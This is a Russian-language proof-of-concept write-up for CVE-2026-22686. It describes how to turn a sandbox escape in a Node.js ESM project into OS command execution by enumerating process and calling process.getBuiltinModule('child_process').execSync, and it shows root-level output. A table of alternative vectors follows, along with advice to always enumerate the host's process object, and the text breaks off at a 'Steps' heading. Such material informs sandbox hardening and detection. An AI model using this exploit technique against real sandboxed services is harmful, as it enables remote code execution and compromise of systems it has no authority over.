
Доказательство концепции эксплуатации для CVE-2026-22686, демонстрирующее удалённое выполнение кода в песочницах ESM Node.js через process.getBuiltinModule для обхода ограничений модулей.
requireПри достижении обхода песочницы через CVE-2026-22686 выполнение команд ОС в
ESM-проекте ("type": "module") требует обхода ограничений загрузки модулей Node.js.
Стандартные подходы не работают по следующим причинам:
| Вектор | Результат |
|---|---|
require('child_process') | ❌ require is not defined — недоступен в ESM |
process.mainModule.require(...) | ❌ Cannot read properties of undefined — mainModule равен undefined в ESM |
import('child_process') | ❌ A dynamic import callback was not specified — требует хук, не настроенный в песочнице |
process.binding('spawn_sync') | ⚠️ Доступен, но слишком низкоуровневый — требует ручного создания системных вызовов |
process → process.getBuiltinModuleВместо предположения о методе загрузки модулей мы перечисляем ключи process напрямую
из контекста хоста (уже доступного после обхода песочницы):
return Object.keys(process)
Среди возвращённых ключей был обнаружен getBuiltinModule — нативный API Node.js 22+,
разработанный специально для того, чтобы ESM-модули могли получать доступ к встроенным модулям Node.js
без require или import().
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root) ✅ RCE подтверждён
Это ключевая идея: process.getBuiltinModule — относительно новый API
(Node.js >= 22.3.0), который часто упускают из виду реализации песочниц
и правила WAF, блокирующие require и import.
В зависимости от целевой среды после перечисления process могут быть доступны
другие векторы:
| Вектор | Версия Node.js | Примечания |
|---|---|---|
process.getBuiltinModule('child_process') | >= 22.3.0 | ✅ Самый чистый — официальный ESM-безопасный API |
process.binding('spawn_sync') | Все | ⚠️ Низкоуровневый, требует ручного создания буферов |
process.mainModule.require(...) | Только CJS | ❌ Не определён в ESM |
__non_webpack_require__ | Webpack-сборки | ⚠️ Зависит от среды |
Module.createRequire(import.meta.url) | >= 12.2.0 | ⚠️ Требует ссылку на Module из хоста |
process._linkedBinding('node_os') | Внутренние сборки | ⚠️ Редко доступен |
Вывод: Всегда перечисляйте
Object.keys(process)после получения доступа к контексту хоста. Доступная поверхность атаки значительно варьируется в зависимости от версии Node.js и конфигурации проекта.getBuiltinModule— самый надёжный вектор в современных ESM-средах Node.js.
Шаги:
